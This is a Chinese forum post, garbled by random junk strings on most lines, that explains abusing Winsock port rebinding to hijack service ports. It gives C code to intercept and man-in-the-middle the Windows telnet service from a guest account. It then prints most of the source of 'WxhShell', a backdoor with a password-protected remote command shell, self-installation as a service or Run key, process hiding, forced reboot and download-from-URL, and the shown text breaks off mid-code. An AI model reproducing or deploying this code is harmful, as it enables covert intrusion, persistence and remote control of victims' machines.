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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e[t1V/ah  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8YkCTJfBGu  
1DM$FG_Z-  
  saddr.sin_family = AF_INET; t++\&!F  
gBE1a w;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^j]"5@f  
t 2&}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3vF-SgCV  
SRc|9W5t*J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K${CHKFf  
*uMtl'  
  这意味着什么?意味着可以进行如下的攻击: {aWfD XB1  
B-aJn8>/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +yIO  
kF7`R4Sz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IR<*OnKn  
JL&ni]m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ +A$6l  
]\oE}7K%r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o1 @. <Q+}  
,:"c"   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gj1l9>f>]a  
_@ @"'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &6@e9ff0  
/BfCh(B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v9vY#W  
e+P|PW  
  #include Ix'GP7-m_  
  #include HZzdelo  
  #include 5 }F6s  
  #include    dG'5: ,n/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i@`T_&6l  
  int main() J`{HMv  
  { HH,G3~EBF  
  WORD wVersionRequested; n"Q fW~U  
  DWORD ret; )ia$pe s  
  WSADATA wsaData; <D{_q.`vA  
  BOOL val; }8&L?B;90  
  SOCKADDR_IN saddr; Y([vma>U]  
  SOCKADDR_IN scaddr; >l|dLyiae  
  int err; jRzQ`*KC#  
  SOCKET s; `(?x@Y>.Ht  
  SOCKET sc;  p(Bn!  
  int caddsize; ^)|1T#Tz  
  HANDLE mt; &li&P5!i  
  DWORD tid;   a]|k w4  
  wVersionRequested = MAKEWORD( 2, 2 ); IEJp!P,E  
  err = WSAStartup( wVersionRequested, &wsaData ); @ 6{U*vs  
  if ( err != 0 ) { *FEY"W+bY  
  printf("error!WSAStartup failed!\n"); 6sp?'GO`~  
  return -1; .]W A/}  
  } _fQBXG2  
  saddr.sin_family = AF_INET; Ws(#ThA  
   XDi[Iyj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &-1;3+#w  
#s'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7lz"^  
  saddr.sin_port = htons(23); )51H\o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U i ~*]  
  { RW. >;|m  
  printf("error!socket failed!\n"); d^.fB+)A3  
  return -1; {|J'd+  
  } \aG:l.IM0  
  val = TRUE; >HXmpu.O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 saaN$tU7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *m[ow s  
  { [1*3 kt*h  
  printf("error!setsockopt failed!\n"); D*R49hja{  
  return -1; &% \`Lwh  
  } va/$dD9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; icPg<>TQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *rk!`n&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~y(- j[  
|VL(#U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C,xM) V^a  
  { Jh'\ nDz@e  
  ret=GetLastError(); &<E*W*b[  
  printf("error!bind failed!\n"); NN9` jP2  
  return -1; >9.xFiq<  
  } ] 7, mo  
  listen(s,2); ?X.MKNbp  
  while(1) V nv9 <=R  
  { %?3\gFvBo  
  caddsize = sizeof(scaddr); yw%5W=<  
  //接受连接请求 'MHbXFM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \&p MF  
  if(sc!=INVALID_SOCKET) mb\}F9  
  { < g<Lf[n$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); siHS@S  
  if(mt==NULL) YEWHr>&Z  
  { d4#Q<!r  
  printf("Thread Creat Failed!\n"); GP5Y5 )  
  break; KGclo-,  
  } bV#U&)|  
  } < ealt  
  CloseHandle(mt); l0 H,TT~2  
  } [9WtoA,kx  
  closesocket(s); wR?M2*ri  
  WSACleanup(); *JX)q  
  return 0; U3+{!}gn  
  }   QJ`#&QRp  
  DWORD WINAPI ClientThread(LPVOID lpParam) bN$!G9I!,  
  { FBM 73D@`  
  SOCKET ss = (SOCKET)lpParam; D@yg)$;z  
  SOCKET sc; IPU'M*|Q  
  unsigned char buf[4096]; U-ILzK  
  SOCKADDR_IN saddr; 4-4lh TE(  
  long num; iAX\F`  
  DWORD val; %:n1S]Vr  
  DWORD ret; E/ <[G?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n<p`OKIV3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x+vNA J  
  saddr.sin_family = AF_INET; \#[W8k<Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {_1^ GIIS  
  saddr.sin_port = htons(23); #dDsI]E )  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M#JOX/  
  { : z^ p s0  
  printf("error!socket failed!\n"); w| x=^  
  return -1; Tv<iHHp  
  } n*^g^gp  
  val = 100; GdavCwJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BciwS_Qx  
  { OE-$P  
  ret = GetLastError(); X-! yi  
  return -1; :4h4vp<  
  } o$m64l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YNbs* i&  
  { >\K<q>*  
  ret = GetLastError(); a\\B88iRRZ  
  return -1; =YBwO. !%  
  } }$V]00 X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -[s*R%w  
  { EA2BN}  
  printf("error!socket connect failed!\n"); -9/YS  
  closesocket(sc); Q;{yIa$ $  
  closesocket(ss); t'4hWNR'  
  return -1; ]DdD FLM  
  } Mk= tS+  
  while(1) h[3N/yP  
  { 0\wMlV`F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :7IL|bA<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B8 -/ C\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3S:}fPR  
  num = recv(ss,buf,4096,0); F8Y D:   
  if(num>0) rx'},[b]3  
  send(sc,buf,num,0); kmM_Af&  
  else if(num==0) Es zwg  
  break; *%'4.He7V  
  num = recv(sc,buf,4096,0); DTN@b!  
  if(num>0) A,MRK#1u  
  send(ss,buf,num,0); @g[p>t> *  
  else if(num==0) p*W4^2(d  
  break;  OnF +  
  } JrseU6N  
  closesocket(ss); Jd&Qi)1  
  closesocket(sc); B+ GPTQSTb  
  return 0 ; sU4(ed\gI\  
  } I1kx3CwJ{P  
gPe*M =iF  
o&g=Z4jj<  
========================================================== %B3E9<9>U  
dnNC = siY  
下边附上一个代码,,WXhSHELL Uk-^n~y  
J7emoD [  
========================================================== dI-=0v-|  
.Q?cNSWU  
#include "stdafx.h" }0?642 =-  
?;+=bKw0  
#include <stdio.h> sqei(OXy  
#include <string.h> 4eYj.=I  
#include <windows.h> +f+x3OMX3  
#include <winsock2.h> xx nW1`]  
#include <winsvc.h> z >vzXM  
#include <urlmon.h> k  5xzC&  
rYeFYPS  
#pragma comment (lib, "Ws2_32.lib") 0fXdE ;M3  
#pragma comment (lib, "urlmon.lib") <N=p_m 2T  
Dq*>+1eW2  
#define MAX_USER   100 // 最大客户端连接数 %D\TLY  
#define BUF_SOCK   200 // sock buffer Z5[ t/  
#define KEY_BUFF   255 // 输入 buffer fa/ '4  
ai`fP{WlX  
#define REBOOT     0   // 重启 Sq UoXNw  
#define SHUTDOWN   1   // 关机 /^DDU!=(<  
d'kQE_y2.  
#define DEF_PORT   5000 // 监听端口 {_ww1'|A  
mNKe,H0  
#define REG_LEN     16   // 注册表键长度 =:1f 0QF  
#define SVC_LEN     80   // NT服务名长度 hqFK2 lR  
_z)G!_7.>\  
// 从dll定义API wP6~HiC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bh6Mh< +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); niFX8%<hP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -mO[;lO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >UE_FC*u  
"\vEi &C  
// wxhshell配置信息 ub{<m^|)  
struct WSCFG { MH?|>6  
  int ws_port;         // 监听端口 ]3NH[&+  
  char ws_passstr[REG_LEN]; // 口令 2!-ZNd:(+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q68&CO(rE  
  char ws_regname[REG_LEN]; // 注册表键名 Dsm_T1X  
  char ws_svcname[REG_LEN]; // 服务名 v~?d7p {  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KU"? ZI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S@z$,}Yc`<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]V<[W,*(5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )T(xQ2&r4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7cK#fh"hvg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m%+W{N4Wb  
37v!:xF!  
}; zn_InxR  
`]FA} wC  
// default Wxhshell configuration Qa5<go{  
struct WSCFG wscfg={DEF_PORT, bguhx3s  
    "xuhuanlingzhe",  KY!  
    1, S?D|"#-,  
    "Wxhshell", s!9.o_k  
    "Wxhshell", zKx?cEpE  
            "WxhShell Service", b~Y$!fc  
    "Wrsky Windows CmdShell Service", q^JJ5{36e  
    "Please Input Your Password: ", m_W\jz??k  
  1, Zi|MWaA.f  
  "http://www.wrsky.com/wxhshell.exe", 1 C{n!l  
  "Wxhshell.exe" 5H6m{ng  
    }; Z WL/AC  
`a ["`N^  
// 消息定义模块 !Z YMks4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YKJk)%;+w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2ELw}9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sw[1T_S>  
char *msg_ws_ext="\n\rExit."; o*_[3{FU  
char *msg_ws_end="\n\rQuit."; `pn]jpW9  
char *msg_ws_boot="\n\rReboot..."; ^cZF#%k  
char *msg_ws_poff="\n\rShutdown..."; g:dw%h  
char *msg_ws_down="\n\rSave to "; |+~CdA  
U?[a@Hj{  
char *msg_ws_err="\n\rErr!"; (Q o  
char *msg_ws_ok="\n\rOK!"; *Y?rls`  
fZ`b~ZBwIj  
char ExeFile[MAX_PATH]; V()s! w  
int nUser = 0; Sqed*  
HANDLE handles[MAX_USER]; ` Xhj7%>  
int OsIsNt; Ett%Y*D+J  
beRpA;  
SERVICE_STATUS       serviceStatus; 94=Wy-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >)=FS.?]  
Om0Z\GP=  
// 函数声明 T\:Vu{|  
int Install(void); I5mnV<QA^  
int Uninstall(void); "o*(i7T=n  
int DownloadFile(char *sURL, SOCKET wsh); `{c %d  
int Boot(int flag);  \U(qv(T  
void HideProc(void); #Q.A)5_  
int GetOsVer(void); %{!*)V\  
int Wxhshell(SOCKET wsl); 3 q^3znt  
void TalkWithClient(void *cs); hD/bgquT  
int CmdShell(SOCKET sock); T6=,A }t-  
int StartFromService(void); mDEO$:A  
int StartWxhshell(LPSTR lpCmdLine); TppR \[4]  
;+'x_'a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gXZC%S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fW~r%u .y  
"-C.gqoB  
// 数据结构和表定义  qa)X\0  
SERVICE_TABLE_ENTRY DispatchTable[] = KhIg  
{ yw `w6Z3K  
{wscfg.ws_svcname, NTServiceMain}, ^ #B`GV  
{NULL, NULL} {'C PLJ{R  
}; ekND>Qjj  
=+% QfuK  
// 自我安装 {U?/u93~  
int Install(void) xa5^h]o   
{ f]W$4f {  
  char svExeFile[MAX_PATH]; 8fRk8  
  HKEY key; I(y:Td  
  strcpy(svExeFile,ExeFile); /Fy2ZYs,`8  
FBJw (.Jr  
// 如果是win9x系统,修改注册表设为自启动 h)fJ2]JW8W  
if(!OsIsNt) { [0<N[KZ)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U2 m86@E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :l ~Wt7R  
  RegCloseKey(key); c}v>Mx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |(G^3+5Uwm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L}Nc kL  
  RegCloseKey(key); luXcr H+w  
  return 0; g\^7Q  
    } ~3bH2,{L[  
  } =$xxkc.~G  
} YaU)66=u  
else { [hC-} 9  
CzDJbvv ]  
// 如果是NT以上系统,安装为系统服务  #~QkS_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xy/lsaVskX  
if (schSCManager!=0) kEiWE|  
{ !o+[L  
  SC_HANDLE schService = CreateService F|9:$Jpw!  
  ( j`tBki:  
  schSCManager, s[6y|{&ze  
  wscfg.ws_svcname, 1 ? be  
  wscfg.ws_svcdisp, $bSnbU <  
  SERVICE_ALL_ACCESS, x[L/d"Wf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r0jhIE#  
  SERVICE_AUTO_START, DvL/xlN  
  SERVICE_ERROR_NORMAL, =, kH(rp2  
  svExeFile, S 2vjjS  
  NULL, J; @g#h?  
  NULL, JR>v  
  NULL, e+416 ~X v  
  NULL, mtfEK3?2*  
  NULL a(cZ]`s]*  
  ); @px 4[  
  if (schService!=0) `wrN$&  
  { A_nu:K-  
  CloseServiceHandle(schService); Ek#?B6s  
  CloseServiceHandle(schSCManager); #>)OLKP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ; (0<5LQ  
  strcat(svExeFile,wscfg.ws_svcname); ? }t[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { En&`m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >2kjd  
  RegCloseKey(key); [OTZ"XQLI  
  return 0; 67,@*cK3?J  
    } jbrx)9Z+%  
  } BBkYc:B=SA  
  CloseServiceHandle(schSCManager); EGD&/%aC  
} uPZ<hG#K  
} qC|$0  
4\Nt"#U)g  
return 1; j=>:{`*c  
} Y\cQ "9  
Fqr}zR)  
// 自我卸载 O C qI  
int Uninstall(void) :>G3N+A)  
{ ;_]Z3  
  HKEY key; b!do7%]i  
!/]vt?v#^  
if(!OsIsNt) { +0&SXhy%y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4I %/}+Q  
  RegDeleteValue(key,wscfg.ws_regname); dF (m!P/R  
  RegCloseKey(key); kuEB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?A]@$  
  RegDeleteValue(key,wscfg.ws_regname); )U$]J*LI  
  RegCloseKey(key); Z3jtq-y  
  return 0; 3jaY\(`%h  
  } /d/Quro  
} u=mJI*  
} -( d,AX  
else { w =MZi=p  
LEM^8G]O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Eof7LUE  
if (schSCManager!=0) NEY b-#v  
{ fxR}a,a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BAUo`el5  
  if (schService!=0) pN]$|#%q(  
  { q%^vx%aL\  
  if(DeleteService(schService)!=0) { hhZU E]  
  CloseServiceHandle(schService); tWo MUp  
  CloseServiceHandle(schSCManager); C/sDyv$  
  return 0; .JJ^w!|>#  
  } @C}Hx;f6  
  CloseServiceHandle(schService); Gkfc@[Z V  
  } 0xNlO9b/  
  CloseServiceHandle(schSCManager); 4 Ii@_r>  
} p| #gn<z}  
} |>Xw"]b;  
' YONRha  
return 1; GA8cA)]zOD  
} INHN=KY{  
c= -2c&=&  
// 从指定url下载文件 j5cc"s  
int DownloadFile(char *sURL, SOCKET wsh) _z3Hl?qk=  
{ Vu6p l  
  HRESULT hr; hVfiF  
char seps[]= "/"; i"rrM1/r  
char *token; 0M?nXHA[  
char *file; fGv`.T_d  
char myURL[MAX_PATH]; >v+ia%o  
char myFILE[MAX_PATH]; :EUV#5V.  
-CTsB)=\,  
strcpy(myURL,sURL); 1qs~[7{C1  
  token=strtok(myURL,seps); MI!JZI$z5  
  while(token!=NULL) kRk=8^."By  
  { N1V qK  
    file=token; z"eh.&T  
  token=strtok(NULL,seps); h=3156M  
  } IXSCYqoK  
oadlyqlw#  
GetCurrentDirectory(MAX_PATH,myFILE); ,]N!I%SI  
strcat(myFILE, "\\"); )-3!-1  
strcat(myFILE, file); %;.|?gR  
  send(wsh,myFILE,strlen(myFILE),0); r|Y|u v0  
send(wsh,"...",3,0); 328(W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C/P,W>8  
  if(hr==S_OK) RRD\V3C84  
return 0; ]`D(/l'  
else ifu "e_^  
return 1; n\2VrUQ)M  
@"}dbW<DV  
} ?80@+y]  
M} IRagm  
// 系统电源模块 ];P^q`n=.  
int Boot(int flag) I(8,D[G.m  
{ .P=uR8  
  HANDLE hToken; u.gh04{5  
  TOKEN_PRIVILEGES tkp; eiZv|?^0  
blZiz2F  
  if(OsIsNt) { F<?e79},`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iSxxy1R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {rWu`QT  
    tkp.PrivilegeCount = 1; `07u}]d8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }6]V*Kn,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r'hr 'wZ  
if(flag==REBOOT) { O0xL;@rBe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tk-PCra  
  return 0; %E7+W{?*1  
} k@5,6s:  
else { >taS<.G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,_T,B'a:  
  return 0; ~(B\X?v  
} oKTIoTb  
  } [pbX_  
  else { 1vu4}%nD  
if(flag==REBOOT) { )J_!ZpMC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q8M&nf  
  return 0; $*%Ml+H-  
} Cc]s94  
else { i^uC4S~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ew4IAF  
  return 0; Z`"UT#^SI  
} >qx~m>2|8]  
} 0|{U"\  
O6;>]/`  
return 1; i#1T68y}  
} <_ */  
K 3&MR=#^  
// win9x进程隐藏模块 5vY h~|  
void HideProc(void) yQhrPw> m  
{ !j4C:L3F  
S#+G?I3w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S:vv*5  
  if ( hKernel != NULL ) ?9!tMRb  
  { `+B+RQl}[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D{.%Dr?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dWD,iO_"@  
    FreeLibrary(hKernel); *8/Q_w  
  } ]-%ZN+  
Lj(hk @  
return; [p!C+ |rro  
} ]02 l!"  
#jr;.;8sQ  
// 获取操作系统版本 j#&sZ$HQ4  
int GetOsVer(void) )\^o<x2S  
{ ~uC4>+dk  
  OSVERSIONINFO winfo; ADv a@P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ":7cZ1VN2  
  GetVersionEx(&winfo); Cqg}dXn'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OM!ES%c,  
  return 1; W %R h2l  
  else w,3`Xq@  
  return 0; _5U Fml9  
} >w j7Y`  
#yr19i ?  
// 客户端句柄模块 GeHDc[7  
int Wxhshell(SOCKET wsl) W]2;5 `MM  
{ 5\=9&{WjND  
  SOCKET wsh; ;S?1E:\av  
  struct sockaddr_in client; jcq(=7j  
  DWORD myID; D<++6HN&#  
hD >:WJ  
  while(nUser<MAX_USER) i;)g0}x`  
{ i6`8yw  
  int nSize=sizeof(client); /=e[(5X|O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _"0n.JQg  
  if(wsh==INVALID_SOCKET) return 1; k}lx!Ck  
CdaB.xk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7vj[ AOq3l  
if(handles[nUser]==0) P< WD_W  
  closesocket(wsh); HENCQ_Wra  
else ]NFDE-Jz]  
  nUser++; hLm9"N'Pf  
  } /$eEj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '|XP}V0I  
er#we=h  
  return 0; o~4n8  
} e#nTp b  
&PgdCijGq;  
// 关闭 socket 0a'@J~v!  
void CloseIt(SOCKET wsh) M9&tys[KX  
{ ]oya<C6pR  
closesocket(wsh); _-!6@^+  
nUser--; FBY~Z$o0.  
ExitThread(0); w5*18L=O\  
} vy#c(:UQR  
~IqT >  
// 客户端请求句柄 [ThzLk#m  
void TalkWithClient(void *cs) F_r eBPx  
{ Xj@Kt|&`k  
l:|Fs=\  
  SOCKET wsh=(SOCKET)cs; C,<TAm  
  char pwd[SVC_LEN]; 4xYo2X,B  
  char cmd[KEY_BUFF]; qt:->yiq+  
char chr[1]; \)#3S $L~  
int i,j; /Z@.;M  
B}FF |0<  
  while (nUser < MAX_USER) { 4dok/ +Ec  
MnS"M[y3  
if(wscfg.ws_passstr) { W ,U'hk%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C`#N Q*O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z0:BXtW  
  //ZeroMemory(pwd,KEY_BUFF); 0=5i\*5 p  
      i=0; 5 O6MI4:  
  while(i<SVC_LEN) { mzw*6e2T  
8&;dR  
  // 设置超时 X@G`AD'.M  
  fd_set FdRead; vJ'ho  
  struct timeval TimeOut; TSk6Q'L\v  
  FD_ZERO(&FdRead); )~n}ieS  
  FD_SET(wsh,&FdRead); 2~4C5@SxL  
  TimeOut.tv_sec=8; ie ,{C  
  TimeOut.tv_usec=0; k^]~NP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tp]|/cx4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lt4UNJ3w  
( BGipX4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 51,m^veO  
  pwd=chr[0]; o MAK[$k;  
  if(chr[0]==0xd || chr[0]==0xa) { h`Mf;'P  
  pwd=0; ?l(hS\N,  
  break; wf4Q}l2,d  
  } ,rdM{ r  
  i++; q ^gEA5  
    } *k}d@j,*"  
k$>T(smh  
  // 如果是非法用户,关闭 socket 0#7 dm9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Wh 43Z  
} f,#xicSB*  
N#:"X;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '$zFGq }}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S!]}}fKEFm  
smU+:~  
while(1) { 4Uiqi{}  
R[c_L=  
  ZeroMemory(cmd,KEY_BUFF); V_pBM  
D4|_?O3 |m  
      // 自动支持客户端 telnet标准   [ n2udV  
  j=0; X@)lPr$a  
  while(j<KEY_BUFF) { 1 W u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M@\'Y$)Y{  
  cmd[j]=chr[0]; MlZ`g,{  
  if(chr[0]==0xa || chr[0]==0xd) { [;I8ZVE  
  cmd[j]=0; 3^Zi/r  
  break; K?4(ou  
  } >g&`g}xZQ  
  j++; PwW@I~@>  
    } :dzU]pk%0  
E@Fen CF  
  // 下载文件 IoA;q)  
  if(strstr(cmd,"http://")) { Tt\w^Gv\d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q~n2VU4L*  
  if(DownloadFile(cmd,wsh)) hbeC|_+   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8##jd[o&p~  
  else b5Pn|5AVj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1Ln7r.  
  } 6{'6_4;Fv(  
  else { |BW,pT  
?=kswf  
    switch(cmd[0]) { 7;NV 1RV  
  7o. 'F  
  // 帮助 :!$z1u8R  
  case '?': { s /M~RB!w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a"}#HvB+  
    break; YW<2:1A|  
  } nY)Pxahm7  
  // 安装 Ao T7sy7  
  case 'i': { rLxX^[Fp3  
    if(Install()) y6}):|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Yu-a!  
    else M;qL)vf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oq6n.:8g"  
    break; Tm52=+uf$  
    } @ WaYU  
  // 卸载 \BXVWE|  
  case 'r': { yU,xcq~l  
    if(Uninstall()) p;$9W+H0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <q2nZI^  
    else #~;8#!X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z :v, Vu  
    break; 1i:g /H  
    } m7vxzC*  
  // 显示 wxhshell 所在路径 ,<b|@1\k  
  case 'p': { A@(h!Cq  
    char svExeFile[MAX_PATH]; D 'cY7P  
    strcpy(svExeFile,"\n\r"); \_nmfTr!K  
      strcat(svExeFile,ExeFile); CqK#O'\  
        send(wsh,svExeFile,strlen(svExeFile),0); #Hi]&)p_  
    break; UUu-(H-J  
    } 1Uk~m  
  // 重启 j#t8Krd] "  
  case 'b': { ?VQLY=?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :xS&Y\ry  
    if(Boot(REBOOT)) h6y4Ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJ8@b  
    else { P lH`(n#  
    closesocket(wsh); PMhhPw]  
    ExitThread(0); WwtE=od  
    } wI@I(r~ g  
    break; ) Zo_6%  
    } 917 0bmr  
  // 关机 5!jNL~M  
  case 'd': { QM_X2Ho  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1]Q 2qs  
